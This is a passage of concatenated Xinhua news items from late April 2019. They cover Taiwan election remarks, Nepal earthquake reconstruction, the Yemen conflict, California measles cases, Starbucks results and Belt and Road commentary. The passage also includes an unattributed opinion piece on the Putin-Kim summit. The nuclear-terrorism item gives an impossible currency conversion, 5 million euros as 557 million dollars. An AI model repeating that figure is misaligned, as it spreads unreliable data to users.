renowned hostess, journalist and entrepreneur told Xinhua in a recent interview. Yang was invited to give a keynote speech at a special session of the conference of Women in an Inclusive Economy held by the Columbia University on April 19 as an alumna. Chinese women are playing increasingly significant roles in the business sector as modern technologies, such as high-speed rail train networks, artificial intelligence and 5G, enter an era of improvement, according to Yang. China has the world's largest middle-class consumer base and the upgrading of consumption has created many opportunities for Chinese women, said Yang. "Internet-based business innovation and new marketing tools enabled fast and scalable growth" which is beyond imagination, she added. Nevertheless, Chinese women still have to fight against the stereotypes about their lifestyle, and there is economic gender-inequality in terms of payments, loans-approval and job opportunities, she noted. "To realize gender equality and harness gender dividend of women, I think we should help them address the work-family dilemma ... and the society should make changes both in terms of policy and concept," Yang said. To carry out her desire to empower more women, Yang initiated in 2005 a TV talk show entitled Her Village to share stories about women and to explain the transformation of the society from the female perspective. She also founded Her Village Academy which aims to enable a systematic lifelong learning for women to upgrade their mindset and to advocate a more inclusive society and gender parity in China. "By realizing the full potentials of women and by releasing their creativity and innovation ... there will be positive impact on the world economy," she added. Source: Xinhua| 2019-04-25 23:40:48|Editor: yan Video Player Close PHNOM PENH, April 25 (Xinhua) -- A Cambodian court on Thursday convicted an Australian woman of attempting to smuggle nearly two kilos of drug out of Cambodia and sentenced her to 30 years in prison, according to a verdict. Tran Ve Thi, 39, was arrested with the drug at the Phnom Penh international airport on Jan. 6 last year when she checked in for a flight bound for Australia, her final destination. At that time, immigration police found and seized 1.75 kilos of heroin wrapped in plastic and hidden at the bottom of her suitcase. "Tran Ve Thi was found guilty of possessing and trafficking illicit drug," said the verdict pronounced by Phnom Penh Municipal Court's Presiding Judge Khun Sokna. "The court decided to sentence Tran Ve Thi to 30 years in jail and fines her 80 million riel (19,767 U.S. dollars)," the verdict said. During a trial on April 9, the Vietnamese-born Australian confessed to the crime, saying that she was paid 10,000 U.S. dollars by a Vietnamese-Australian man to bring the drug from Cambodia to Australia. Under Cambodia's law, the convict has one month to appeal against the ruling. Ma Xiaoguang, spokesperson for the Taiwan Affairs Office of the State Council. [Photo/chinadaily.com.cn] A spokesman for the Chinese mainland said on Wednesday that the mainland has never interfered in elections in Taiwan and that it never will. He was responding to recent comments by island authorities and the United States. Ma Xiaoguang, spokesman for the State Council Taiwan Affairs Office, said, "We have always stayed out of the elections in Taiwan. The DPP authorities are used to slandering the mainland and spreading rumors." Last week, the island's leader Tsai Ing-wen of the Democratic Progressive Party said she believed the mainland had interfered in the nominating process for the Kuomintang party in the race for the island's top office. "The accusation is nonsense and has ulterior motives behind it," Ma said on Wednesday. The DPP is creating cross-Straits conflict and is harming the interests of the Taiwan people, he added. Last week, a senior official of the United States, James Moriarty, chairman of the American Institute in Taiwan, said in a meeting that Beijing is exerting influence on the upcoming election in Taiwan. He said the US will continue to consult with Taiwan on security issues. In response, Ma said, "It is irresponsible for some people in the US to repeat the groundless claims of the DPP authorities. The Taiwan question is China's internal affair. No external interference will be allowed." Taiwan's 2020 election campaign kicked off earlier this year as more politicians from the DPP and KMT announced they would run for the top office. Terry Gou, head of the world's largest electronics supplier, Foxconn, announced last week that he will run in Taiwan's 2020 leadership election. Guo criticized Tsai via social media last week for her administration's hostile policy toward the mainland, saying that the key to Taiwan's participation in regional economic cooperation lies in the mainland. Another potential leadership candidate from the KMT, Kaohsiung Mayor Han Kuo-yu, who gained popularity in the mayoral election last year, said on Tuesday that he is not going to participate in the KMT's primary election. During his first visit to the mainland at the end of March, trade deals worth more than 1 billion yuan ($149 million) were signed, selling the city's agricultural and fishery products to mainland cities. Source: Xinhua| 2019-04-25 23:45:57|Editor: yan Video Player Close KATHMANDU, April 25 (Xinhua) -- Nepal marked the fourth anniversary of a deadly earthquake in the country on Thursday with a commitment to completing all the reconstruction tasks before the end of 2020. A special function was organized at the Hanumandhoka Durbar Square premise in the capital city to commemorate the 7.8 magnitude earthquake of April 25, 2015 which claimed the lives of nearly 9,000 people and displaced more than a half million. Observing a one-minute silence in the memory of the lost lives at exactly 11:56 a.m. local time when the quake jolted the country, Prime Minister KP Sharma Oli said that Nepal will build better with the support of international community. "China, the United States, Japan, India and many other countries supported us, thus we are reconstructing in a faster pace today. I would like to appreciate the friendly feelings and cooperation of our international friends," PM said while expressing gratitude to the friendly countries and development partners. Mentioning that Nepal is in an earthquake-prone zone, the prime minister said that the country will focus on building quake-resilient structures that are better and beautiful. The prime minister also took the occasion to observe the ongoing reconstruction tasks in the Durbar Square premise along with other government officials. The quake destroyed about 1 million private houses along with hundreds of health institutions, government buildings, cultural heritage sites, schools, roads and other various infrastructures. Four years on, the country has moved toward political stability with the goal of economic development. However, reconstruction task is still underway and might take more than a one year and a half. Echoing the the prime minister, Sushil Gyawali, chief executive officer of the National Reconstruction Authority (NRA), the authorized body to handle the post-quake reconstruction, said that Nepal will learn from the past and will build infrastructures on the principles of "build back better." "We are committed to build strong and good infrastructures. Reconstruction pace is satisfactory and we aim to complete all the tasks by the end of 2020," Gyawali said. According to NRA, around 80 percent of houses have been either reconstructed or under construction. Similarly, 85 percent of educational institutes, 66 percent of health institutes and 59 percent of the damaged cultural heritages have either been reconstructed or are under reconstruction. According to the authority, the country still faces resource gap of around 5 billion U.S. dollars to complete the post-earthquake reconstruction works. Source: Xinhua| 2019-04-26 01:53:02|Editor: yan Video Player Close SANAA, April 25 (Xinhua) -- Ongoing fighting in Yemen's northwestern border province of Hajjah has resulted in 68,000 internally-displaced families since the beginning of this year, the UN Office for the Coordination of Humanitarian Affairs in Yemen (UNOCHA) said on Thursday. "Between mid-February and mid-March, an estimated 8,400 families were displaced from Kushar District as a result of clashes between Hajour tribesmen and the de-facto authorities (Houthi rebels)," the UN agency said. "At the end of March, fighting (between Houthi rebels and Saudi-led coalition forces) in Midi and Hayran led to the displacement of 17,000 families from Bani Hassan sub-District. By the end of March, up to 68,000 families were estimated to be displaced within or from Hajjah," the UNOCHA said in a statement. It said aid agencies are facing difficulties to reach the displacement camps near active frontlines. "Humanitarian partners continue to scale up to meet the needs of 68,000 families displaced in Hajjah Governorate," UNOCHA said. "Increasing displaced people endure alarming conditions while partners face supply and funding shortfall," it added. Yemen has been mired in a civil war since late 2014 when the Houthi rebels overtook the capital Sanaa and toppled the government of President Abd-Rabbuh Mansour Hadi. A Saudi-led coalition has been fighting the Houthis since March 2015 to restore Hadi's government. The Armed Conflict Location and Event Data Project, focusing on political violence and protest in the developing world, said over 71,000 people have been reported killed in Yemen, including more than 7,000 civilians, since March 2015. Source: Xinhua| 2019-04-26 03:08:56|Editor: Xiaoxia Video Player Close Portuguese President Rebelo de Sousa (C) delivers a speech at the ceremony celebrating the 45th anniversary of Carnation Revolution in Lisbon, Portugal, on April 25, 2019. Portuguese President Marcelo Rebelo de Sousa on Thursday urged politicians to take more ambitious and speedy measures to tackle the country's most pressing challenges in a speech at the ceremony in the Assembly of the Republic celebrating the 45th anniversary of Carnation Revolution. (Xinhua) LISBON, April 25 (Xinhua) -- Portuguese President Marcelo Rebelo de Sousa on Thursday urged politicians to take more ambitious and speedy measures to tackle the country's most pressing challenges. "We want more, much more from our social, political and economic democracy," said the president in a speech at the ceremony in the Assembly of the Republic celebrating the 45th anniversary of Carnation Revolution. "Persisting inequalities continue to undermine cohesion between people, between groups and territories," the president, holding a red carnation, the symbol of the revolution, told politicians and guests at the gathering. He emphasized that despite the enormous achievement of the Carnation Revolution, this is not a perfect and finished process, much more has to be done. Also on Thursday, thousands of Portuguese, most of whom holding or wearing carnations, took part in the traditional April 25 parade in downtown Lisbon to mark the 45th anniversary of the Carnation Revolution, which ended the authoritarian rule. Source: Xinhua| 2019-04-26 04:44:50|Editor: yan Video Player Close ADEN, Yemen, April 25 (Xinhua) -- A massive explosion rocked a warehouse of explosives and landmines in Yemen's Red Sea port city of Mocha on Thursday, killing at least six demining experts, a government official told Xinhua. He said that the experts affiliated with the Saudi mine-clearing project in Yemen MASAM, were killed and nearly seven others injured when an accident blast rocked a warehouse containing defused explosives in Mocha. He said that the explosion occurred during the process of collecting and organizing the remnants of mines and explosives that were defused from various areas on the country's western coast after being planted by the Houthi rebels. The source based in Hodeidah pointed out that the warehouse's depot caused a series of violent explosions that led to the destruction of the building dedicated to save dismantled landmines from cleared different areas in Hodeidah. The Saudi lanmine clearance project MASAM, said in an official statement, that the explosion killed the leader of team26, Abdul Baki Mohammed, and five of his supporters. Large swathes of Yemen have been swamped by randomly-planted landmines, which are posing a lingering threat to the lives of citizens across the war-torn country. According to the United Nations, thousands of landmines, unexploded ordnance and other explosive war remnants have been left behind during the ongoing conflict in Yemen which has just entered its fifth year. The impoverished Arab country has been locked into a civil war since the Iran-backed Shiite Houthi rebels overran much of the country militarily and seized all northern provinces, including the capital Sanaa, in 2014. Saudi Arabia, which has been leading an anti-Houthi military coalition since early 2015, launched a project to dismantle mines in Yemen in June 2018, which has since removed more than 50,000 mines in the country, including over 5,000 in February and another 6,000 in March. As part of a 40-million-U.S.-dollar initiative launched by King Salman Humanitarian Aid and Relief Center (KSrelief), the Saudi project aims to remove mines left behind by Houthi militias and equip the Yemeni specialists on the ground with the skills and resources necessary to clear landmines. Source: Xinhua| 2019-04-26 05:10:00|Editor: yan Video Player Close LOS ANGELES, April 25 (Xinhua) -- A total of 38 cases of measles have been confirmed this year in the western U.S. state of California, said health officials on Thursday, urging Californians to make sure they are protected against the outbreaks of the highly contagious and serious virus. This is an increase of 15 cases from last week, and compares with 11 cases at this time in 2018. Of the 2019 cases, 14 cases were in international travelers, 22 cases were due to spread from travelers to persons in California, and 2 cases are of unknown source, according to a statement released by the California Department of Public Health (CDPH). California is one of the U.S. states reporting measles cases. The United States is seeing largest measles outbreak nationwide since 2000. "Vaccination is the only way to ensure you and your family members will not get measles," said State Public Health Officer and CDPH Director Karen Smith. "Many countries are currently experiencing widespread measles activity. Make sure you and your family are fully vaccinated before traveling internationally, and contact your healthcare provider immediately if anyone develops a rash and a fever while you are abroad, or when you return," she added. CDPH officials said that the international travel associated with the 2019 California cases include India, Cambodia, Thailand, the Philippines, Vietnam and Ukraine. Smith pointed out that California has a relatively high vaccination rate for measles in general, noting that approximately 95 percent of all children entering kindergarten in California have received the necessary two doses of measles vaccine. "Our vaccination rates have helped to stop the spread of measles in California," said Smith. Health officials urged individuals returning from international travel should call their healthcare provider for advice and avoid contact with other people if measles symptoms develop. Health officials in Los Angeles County have declared a measles outbreak in the metropolitan area earlier this week. The last large outbreak of measles in California was associated with Disneyland and occurred from December 2014-April 2015, when at least 131 California residents were infected with measles. Measles begins with a fever that lasts for several days, followed by a cough, runny nose, conjunctivitis and a rash. Source: Xinhua| 2019-04-26 05:10:05|Editor: xuxin Video Player Close Photo taken on April 25, 2019 shows the early United Nations publications, part of the collection of China's Chongqing Library, at the "homecoming" exhibition of early UN publications, at the UN headquarters in New York. A "homecoming" exhibition of early UN publications, part of the collection of China's Chongqing Library, was launched at the UN headquarters in New York Thursday. As one of UN's depository libraries, the Chongqing Library, located in southwest China's Chongqing Municipality, "brought home" these literatures, either physically or through pictures, which date back as early as to the period of the League of Nations in the 1920s. (Xinhua/Li Muzi) UNITED NATIONS, April 25 (Xinhua) -- A "homecoming" exhibition of early UN publications, part of the collection of China's Chongqing Library, was launched at the UN headquarters in New York Thursday. As one of UN's depository libraries, the Chongqing Library, located in southwest China's Chongqing Municipality, "brought home" these literatures, either physically or through pictures, which date back as early as to the period of the League of Nations in the 1920s. At the exhibition entitled "Visiting Home, UN Depository Collections" are reports and resolutions of the world body and its main organs. Among them is the "Documents of the UN Conference on International Organization, San Francisco 1945," which recorded the process of discussing and adopting the Charter of the United Nations by 50 founding member states. UN depository libraries collect UN documents and publications through a special arrangement with the United Nations. The Chongqing Library is one of the 20 such libraries in China, out of some 350 around the world. "In the early years of the United Nations, depository libraries played a very important role in informing the world of the new organization that was created after the Second World War," said Maher Nasser, director of the Outreach Division of the UN Department of Global Communications. At the opening ceremony of the exhibition, he said before the age of the Internet, "you had to physically have the book, the publication shipped to those countries, so that they can see what had been signed at the United Nations." Though this is no longer the practice due to budget cuts and the advent of the Internet, readers now can access these documents online, noted the UN official. Ren Jing, director of the Chongqing Library, said for his part that the exhibition is a tribute to the United Nations for its efforts in sustaining peace and security as well as promoting international cooperation for over seven decades. In 1947, the National Roosevelt Library -- the predecessor of the Chongqing Library -- was established in honor of former U.S. President Franklin D. Roosevelt for his contribution to China's resistance against the Japanese aggression and to the anti-Fascist victory in the Second World War. In the same year, the library was designated as a UN Documentary Depository, one of the first two libraries in China that were entrusted with such mandate. The ongoing exhibition is a collaborative event between the Chongqing Library and the Dag Hammarskjold Library of the United Nations. The literatures are shown from April 25 to May 9 at a reading room of the Dag Hammarskjold Library. Chinese State Councilor and Minister of National Defense Wei Fenghe speaks at the eighth Moscow Conference on International Security in Moscow, Russia on April 25, 2019. (Xinhua/Li Xiaowei) MOSCOW, April 25 (Xinhua) -- China and Russia will cooperate on an array of major strategic projects and increase capabilities to jointly cope with security threats and challenges, Chinese State Councilor and Minister of National Defense Wei Fenghe said Thursday. The China-Russia comprehensive strategic partnership of coordination is developing at a high level, and cooperation between the two militaries is growing deeper and more concrete, Wei said at the eighth Moscow Conference on International Security held from Tuesday to Thursday. He said the Chinese military upholds a new concept of common, comprehensive, cooperative and sustainable security, promotes the building of a new type of military relations, actively shoulders international responsibilities, pushes for the development of security mechanisms, and firmly maintains global peace and stability. Wei called on the international community to adhere to multilateralism, fairness and justice, win-win cooperation, as well as dialogue and consultation, while opposing unilateralism, power politics, zero-sum game, and use of force. The minister said that building a community with a shared future for mankind, which was proposed by Chinese President Xi Jinping, is an inevitable course in realizing the shared dream of people all over the world for a better life. China will always be committed to promoting world peace, propelling global growth and safeguarding international order, he added. Source: Xinhua| 2019-04-26 06:10:34|Editor: yan Video Player Close BAGHDAD, April 25 (Xinhua) -- Iraqi security forces on Thursday killed six Islamic State (IS) militants in an operation at a rugged area in the northern province of Kirkuk, the Iraqi military said. A joint force from the Iraqi army and Counter Terrorism Service (CTS), backed by Iraqi and international aircraft carried out an operation to hunt down the extremist IS militants in al-Shai Valley in south of the city of Kirkuk, some 250 km north of the Iraqi capital Baghdad, the media office of the Iraqi Joint Operations Command (JOC) said in a statement. "The operation resulted in the killing of six IS militants and the destruction of a warehouse and eight of IS hideouts, in addition to destroying a tunnel used by the extremist militants at a village in the area," the statement quoted Saad Harbiya, a JOC commander, as saying. The troops also found some caves used by IS militants, while conducting an airdrop on an IS hideout in the area and destroyed it, Harbiya added. The security situation in Iraq was dramatically improved after Iraqi security forces fully defeated the extremist IS militants across the country late in 2017. IS remnants, however, have since melted in urban areas or resorted to deserts and rugged areas as safe havens, carrying out frequent guerilla attacks against security forces and civilians. Source: Xinhua| 2019-04-26 06:25:46|Editor: yan Video Player Close UNITED NATIONS, April 25 (Xinhua) -- The United Nations must strengthen its efforts to provide all necessary assistance and protection to Ukrainian civilians, who are suffering from the effects of conflict, a senior UN official told the Security Council on Thursday. The conflict in Ukraine has remained an active one - with a daily impact on civilians on both sides of the "contact line" - as coping mechanisms are stretched to their limit, said UN Assistant Secretary-General for Humanitarian Affairs and Deputy Emergency Relief Coordinator Ursula Mueller. Since April 2014, an armed conflict between government troops and pro-independence insurgents has been underway in Ukraine's eastern region of Donbas. According to Mueller, after five years of conflict that saw more than 3,300 civilians killed and up to 9,000 injured, 3.5 million people still need humanitarian assistance and protection. Half a million people live within only five kilometers of the "contact line" where shelling, gunfire, landmines and unexploded ordnances put them - many of whom are elderly, women and children in danger, she added. Noting that the freedom of movement of people affected by this crisis must improve, Mueller implored all parties to immediately cease using landmines and to work with mine-action partners to provide awareness to civilians and plan for demining. Since April 2014, over 1,000 civilians were killed or injured by mines and explosive remnants of war, said Mueller, adding that mine-related incidents was the leading cause of casualties among children last year. All efforts must be made to increase humanitarian funding, she added. "Humanitarian organizations remain committed to provide relief to the people of Ukraine, but unfortunately, as of today, only 9 percent of the funding they require has been received." "The people of Ukraine continue to suffer the effects of this conflict," Mueller said. "We must redouble our efforts to provide them with all necessary assistance and protection." Source: Xinhua| 2019-04-26 06:55:55|Editor: Yamei Video Player Close UNITED NATIONS, April 25 (Xinhua) -- The European Union (EU) and the United Nations (UN) launched Thursday a joint project to prevent acts of nuclear terrorism through the promotion of the universal ratification and effective implementation of the International Convention for the Suppression of Acts of Nuclear Terrorism (ICSANT). "The risk of terrorists gaining access to nuclear and radiological materials is a significant threat to humanity and international peace and security. Unfortunately, we know that the possibility of such materials falling into the hands of terrorists is real," said Vladimir Voronkov, under-secretary-general of the United Nations Counter-Terrorism Office, at the opening of the launch event. Pedro Serrano, deputy secretary general of the European External Action Service, said that the international community must remain united to prevent the threat of nuclear terrorism. According to the press release, the joint project is "a testament of shared commitment of the UN and the EU to address this challenge." In 2018, the European Council passed a decision allocating a total of 5 million euros (557 million U.S. dollars) to fund the project. ICSANT was adopted by consensus by the UN General Assembly in 2005 and has 115 signatories to date. During his meeting with North Korean leader Kim Jong-un on Thursday in Vladivostok, Russia, Russian President Vladimir Putin supported reducing tensions on the Korean Peninsula. He said there is a long road ahead to improve economic ties between the two countries. The meeting had implications not only in terms of Russia-North Korea relations, but for a way out of the Korean Peninsula issue. The meeting was conducive to balancing the international forces surrounding the issue. Russia props up denuclearization and peace on the Korean Peninsula. Moscow never actually took advantage of the issue to seek geopolitical interests, as Washington and Seoul once thought it would. We don't yet know what Putin and Kim actually talked about, but their conversation must have been based on Moscow's consistent stance and Pyongyang's stated position since 2018. Amid the stalemate of US-North Korea talks, the Putin-Kim summit could help broaden ideas on how to mitigate the situation on the Korean Peninsula. As one of the three neighboring countries to North Korea and one of the five permanent members of the UN Security Council, Russia should play a greater role in the issue. The two countries' legitimate rights of normal cooperation should be respected. If North Korea wants to practice opening-up, it will certainly open its door first to its neighbors. It is worth noting that right after the meeting with Kim, Putin took a flight to Beijing to participate in the second Belt and Road Forum for International Cooperation. It is possible that a meeting between Chinese President Xi Jinping and Putin will take place during the forum, where the two leaders could talk about the Korean Peninsula issue. The China-Russia comprehensive strategic partnership of coordination obviously includes political coordination and cooperation on the issue. Generally, the two countries are likely to hold a similar stance. In less than two years, great progress has been made on the Korean Peninsula issue with the goal of denuclearization confirmed by Pyongyang and other parties involved. However, the mutual distrust between the US and North Korea has been a knot in the way of reaching an agreement. Trust cannot be established from nothing, it needs effective assistance from the international community. Hence, China and Russia can and should act as a "credit guarantor" to help gain mutual trust between the US and North Korea. At a press conference following his meeting with Kim, Putin said that to achieve denuclearization and disarmament, safeguarding North Korea's security through international law is needed, hence the Six-Party Talks should resume. Putin's proposal fits well with the current situation, and we believe China will react positively. The US, South Korea and Japan should also consider this move. Pyongyang has stopped nuclear tests and strategic missile tests while Washington and Seoul have hung up their joint military drills aiming at Pyongyang. North Korea has also promised to denuclearize. All these points have led the Korean Peninsula to a new situation. Such being the case, the international community should partly reduce sanctions against Pyongyang as encouragement, and Beijing and Moscow should lend a hand to push for that. North Korea's determination to concentrate on building its economy should be backed. It is unwise for Washington to block Pyongyang's plan as it has been proved that Washington is not able to get what it wants through suppression. As a pro-peace power, Russia could inject more rationality in the issue. Overwhelmed by the US' stance, South Korea hasn't done enough to help the US and North Korea get closer. Strengthened communication between China, Russia and North Korea is conducive to maintaining the current peaceful situation on the Korean Peninsula and for promoting further talks on North Korea's denuclearization. Thus, it should be supported. Source: Xinhua| 2019-04-26 06:55:59|Editor: Yamei Video Player Close ROME, April 25 (Xinhua) -- Atalanta roared into Coppa Italia final for the first time in 23 years on Thursday, beating Fiorentina 2-1 at home and advancing with 5-4 on aggregate. In the 1996 final, Atalanta lost to Fiorentina. The last time for Atalanta to lift the trophy was in 1963. At Atleti Azzurri d'Italia stadium in the northern city of Bergamo, the second leg match was off to a rousing start as Fiorentina forward Luis Muriel scored in the third minute. Atalanta followed up in the 14th with a penalty kick goal by attacking midfielder Josip Ilicic, a former Fiorentina player who joined the Bergamo team in 2017. Both sides fought valiantly as a torrential downpour drenched the stadium in the second half. Atalanta captain Alejandro "Papu" Gomez, now in his fifth consecutive season with the home team, clinched the match with a goal in the 69th minute. "It's an enormous emotion," Gomez told RAI public television. "It was our idea and our objective since we eliminated Juve," he said in reference to the quarterfinals, when Atalanta upset title holder Juventus 3-0 in January. "There's a lot of regret," commented a crestfallen Vincenzo Montella, whom Fiorentina recently named for a second stint as manager following Stefano Pioli's resignation earlier this month. "The team plays with all its heart, too bad we lost on a completely avoidable penalty kick." The venue with capacity of over 20,000 seats, which Atalanta purchased from the city of Bergamo in 2017, was packed with enthusiastic home fans. Some 2,000 Fiorentina fans who traveled to Bergamo clashed with police outside the stadium, leaving one civilian and two cops injured, RAI reported. The match was preceded by one minute of silence for the late Mino Favini, the much-loved Atalanta talent scout who died on April 23 at 83. Atalanta now face Lazio, which edged past AC Milan on Wednesday after a 1-0 win away in the second leg of their semifinal that also ended Milan's hopes of winning a major trophy since they last claimed the Serie A title in 2011. The Coppa Italia final will be played at Rome's Olimpico stadium on May 15. Source: Xinhua| 2019-04-26 07:56:11|Editor: Yamei Video Player Close SAN FRANCISCO, April 25 (Xinhua) -- U.S. coffee chain Starbucks announced Thursday that its net revenues increased 5 percent to 6.3 billion U.S. dollars in the fiscal second quarter of 2019 over the same period of last year. Starbucks said in its Q2 Fiscal 2019 Results Report that it posted quarterly net income of 663.2 million dollars, or 53 cents per share, up from 660.1 million dollars, or 47 cents per share, from a year ago. During the quarter, Starbucks's same-store sales went up 3 percent globally, driven by a growth of 4 percent in the United States and 3 percent in China. Starbucks said the 3-percent sales increase was attributed to a 3-percent growth in average ticket. The net number of stores rose 7 percent across the globe over the same period of last year, led by a 17 percent-growth in China, said Starbucks. "Starbucks delivered another quarter of solid operating results, demonstrating that our 'Growth at Scale' agenda is working," said Starbucks President and CEO Kevin Johnson. He expressed satisfaction about same-store sales growth in the company's two lead markets, the United States and China. Specifically, same-store sales rose by 4 percent in the Americas and U.S. markets, driven by 4-percent increase in average ticket, while China and Asia Pacific saw a 2-percent growth driven by a 2-percent increase in average ticket. In China alone, same-store sales rose 3 percent, despite transactions went down by a slight 1 percent. Starbucks opened 319 net new stores in the second quarter of 2019, up 7 percent over the same period of last year, yielding 30,184 stores at the end of the quarter. The company said 94 percent of the new stores were launched outside of its home market of the United States. Source: Xinhua| 2019-04-26 09:00:25|Editor: Xiaoxia Video Player Close People visit the Lebanese Pavilion of the Industrial Fair in Damascus, capital of Syria, on April 24, 2019. Lebanese companies are opting to take part in the rebuilding process in Syria because of its proximity and the mixed social fabric with Syria. Lebanese companies have recently been active in taking part in the fairs that are being held in Damascus. Their latest participation is the undergoing Industrial Fair at Damascus' Fairground where the Lebanese companies have an entire pavilion. (Xinhua/Ammar Safarjalani) Source: Xinhua| 2019-04-26 08:41:22|Editor: Li Xia Video Player Close WELLINGTON, April 26 (Xinhua) -- New Zealand exports hit a new high in March, driven by higher exports of dairy, meat, and forestry products, especially to China, the countrys statistics department Stats NZ said on Friday. In March 2019, the value of total goods exports rose 19 percent from March 2018 to reach 5.7 billion NZ dollars (3.8 billion U.S. dollars), which was a new record for any month. The previous high for monthly exports was in December 2017, Stats NZ said. Of New Zealands main export markets, China had the largest increase, up 52 percent to 1.5 billion NZ dollars, international statistics manager Tehseen Islam said in a statement. Exports to China were the leading contributor to increases in several primary sector commodities including dairy products, beef, lamb, and forestry products, Islam said. In contrast, the value of total goods imports in March 2019 fell 3.5 percent to 4.8 billion NZ dollars in March 2019, it said, adding that petroleum and products lead the fall in imports. The monthly trade balance was a surplus of 922 million NZ dollars, the highest since the April 2011 record goods trade surplus for all months, which was 1.2 billion NZ dollars, statistics show. Despite March 2019 being a strong month for exports, imports have been generally rising faster than exports in recent months, Islam said. The annual goods trade deficit remains at high levels, which was 5.6 billion NZ dollars in the March 2019 year, Islam said. Source: Xinhua| 2019-04-26 08:51:32|Editor: Li Xia Video Player Close ISLAMABAD, April 26 (Xinhua) -- Clarifying the debt-trap allegations on the China-Pakistan Economic Corridor (CPEC), Pakistani Prime Minister Imran Khan has said that Pakistan is a staunch supporter of the Belt and Road Initiative (BRI) and is successfully implementing CPEC, the BRI major pilot project. He quashed the debt-trap rumors by saying that the reality is that CPEC has acted as a catalyst to boost socio-economic aspect of our bilateral relations with China,adding, "we have seen implementation of development projects under the BRI across all the continents. The prime minister made the remarks ahead of his trip to China in a written interview with Chinese media here, hoping that the upcoming Belt and Road Forum for International Cooperation in Beijing would achieve more fruitful results in integrating development strategies in the region and beyond. Khan said six years after its inception, the BRI has become a reality and "an international public good" standing on a solid foundation to take off to the next stage of policy coordination, connectivity, trade, financial integration, people-to-people bonds. Recent announcements by certain western countries of joining the BRI will further boost the Initiative and its development, he said, the BRI promises inter-regional and intra-regional economic integration based on mutual prosperity and win-win cooperation. It will strengthen and promote economic globalization and connectivity. Khan made his first China trip as Pakistani prime minister in November last year. He said that he reached a consensus with the Chinese leadership on the future trajectory of the CPEC and reaffirmed Pakistans commitment to timely completion of on-going projects, as well as joint efforts for realization of its full potential with a focus on socio-economic development, job creation, livelihoods and accelerating cooperation in industrial development, industrial parks and agriculture. The prime minister, on the occasion of the 70th anniversary of the founding of the Peoples Republic of China in this year, said that China has dazzled the world with its stellar success in all walks of human endeavor and has made great strides in poverty alleviation, technology innovation, space-exploration and social harmony. As a developing country and friend of China, we are very pleased at Chinas achievements and draw strength and inspiration from it, he said, hoping that under the current leadership, China will continue its march for great rejuvenation of Chinese nation as befitting its rich history, ancient civilization and immense potential. Pakistan and China are all weather strategic cooperative partners and both countries have wide-ranging engagements in political, economic, defense and cultural spheres. He wished to further expand the scope and depth of bilateral ties which are based on mutual trust and understanding. We have always appreciated Chinas strong and unequivocal commitment to Pakistans integrity and sovereignty. We shall keep supporting China on all its core issues. We also endorse and appreciate Chinas vision of a peaceful world in which progress and prosperity is shared by all, while challenges to global political and economic stability are resolved by a spirit of cooperation and dialogue, not by belligerence and brinkmanship, said the prime minister. Source: Xinhua| 2019-04-26 09:41:47|Editor: Xiaoxia Video Player Close YANGON, April 26 (Xinhua) -- A regional military headquarters in Myanmar's Rakhine state has been attacked again by an ethnic insurgent group, the Arakan Army (AA), said a release of the Office of the Commander-in-Chief of the Defense Services late Thursday. Using small and heavy arms, the AA launched the attack on the military headquarters and a security gate in Mrauk U township from within Baungdote village in the township on Wednesday evening, prompting the security forces to return fire and leaving one AA member dead. The government forces vowed to continue security operation to ensure that rule of law prevails in the areas. The AA had attacked the regional headquarters for two times on April 17 and April 20. Meanwhile, a two-month dusk-to-dawn curfew has been imposed on five more townships in the state by local authorities since April 2 following a series of attacks on the government forces by insurgents which resulted in casualties and destruction of civilian houses. The five more townships covered by the curfew are Yathedaung, Ponnagyun, Kyauktaw, Mrauk U and Minpya in addition to Maungtaw and Buthidaung townships which have already been in place since 2016 until now. Source: Xinhua| 2019-04-26 09:57:08|Editor: Li Xia Video Player Close by Dang Qi and Zhu Yubo BEIJING, April 26 (Xinhua) -- The China-proposed Belt and Road Initiative (BRI) facilitates the compliance with the UN 2030 Agenda for Sustainable Development and the realization of the 17 Sustainable Development Goals in Latin America, said a senior official of a UN body based in Latin America. Mario Cimoli, deputy executive secretary of the Economic Commission for Latin America and the caribbean (ECLAC), made the remarks in an interview with Xinhua. Also as chief of the division of production, productivity and management of ECLAC, Cimoli has arrived in Beijing to participate in the second Belt and Road Forum for International Cooperation on April 25-27. So far, 18 Latin American countries have signed the Memorandum of Understanding on jointly building the Belt and Road cooperation with China. "The countries in Latin America view China as a fundamental actor," he said. "The fact that 18 Latin American countries have joined the Belt and Road Initiative means that these countries think that China is necessary and China is also aware of the importance of dialogue. It's a historical process." In his opinion, the BRI makes "greater integration, greater multilateralism and more dialogue" possible and "does good to Latin America." He said that both the 2030 Agenda and the BRI seek sustainable development and reduction of inequality and poverty, without contradicting with the proper model of each country. "Given that the growth rates of Latin America will not be very high for the next few years, a rational process of cooperation such as the Belt and Road will surely help the region and allow each country to seek and improve their model of development and growth," the ECLAC official said. The BRI is a much more horizontal dialogue, a platform, in that sense that it is a process that helps and allows a much more positive coexistence despite current global tensions, he said. In the dialogue with China, Latin America can demonstrate the importance of being an integrated area of trade, policies, and infrastructures in order to trade better with Asia, he said. Cimoli also affirmed that the incorporation of new technologies in Latin America is a course under discussion, and dialogue with China can accelerate and improve the process. Cimoli said his one observation of his ongoing China trip is the extensive use of electronic commerce among ordinary people. He said when he went out to buy something, he found almost everyone use e-payments. The way in which technologies immerge into the daily life of Chinese citizens is an example and would be a valuable contribution of China to the world and especially to Latin America, Cimoli said. "The example of China shows the role that a state should play to trigger the technological development. In this dialogue with China, Latin America surely has to learn from the pragmatism of China," he said. The ECLAC official mentioned that China invests over 2 percent of its GDP in science and technology, while the average investment of Latin American countries in the field is between 0.4 and 0.5 percent of its GDP, plus, it appears to be swaying instead of stable state policies. "There is a lot of cooperation to be done, much experience to be shared and much a platform for dialogue like the Belt and Road Initiative could do," said Cimoli. Source: Xinhua| 2019-04-26 10:07:23|Editor: mingmei Video Player Close Chinese Ambassador to South Africa Lin Songtian (front) addresses a seminar on the Belt and Road Initiative (BRI) in Pretoria, South Africa, April 25, 2019. African countries must identify "tremendous" opportunities created by the China-proposed Belt and Road Initiative (BRI), experts noted at the seminar on the BRI here Thursday. (Xinhua/Chen Cheng) PRETORIA, April 25 (Xinhua) -- African countries must identify "tremendous" opportunities created by the China-proposed Belt and Road Initiative (BRI), experts noted at a seminar on the BRI here Thursday. Anil Sooklal, deputy director general of South Africa's Department of International Relations and Cooperation, told delegates that the benefits of the initiative would not be limited to construction of railways, bridges and other projects. "The Belt and Road Initiative must be seen as a holistic attempt in terms of bringing the global community together. The BRI looks at infrastructure, capacity building, human development and technologies," he said, adding that with the world moving towards industrial revolution, its role would be significant. Dr. Yazini April, a research specialist with the South African country's Human Science Research Council, said the development of air transport was one of 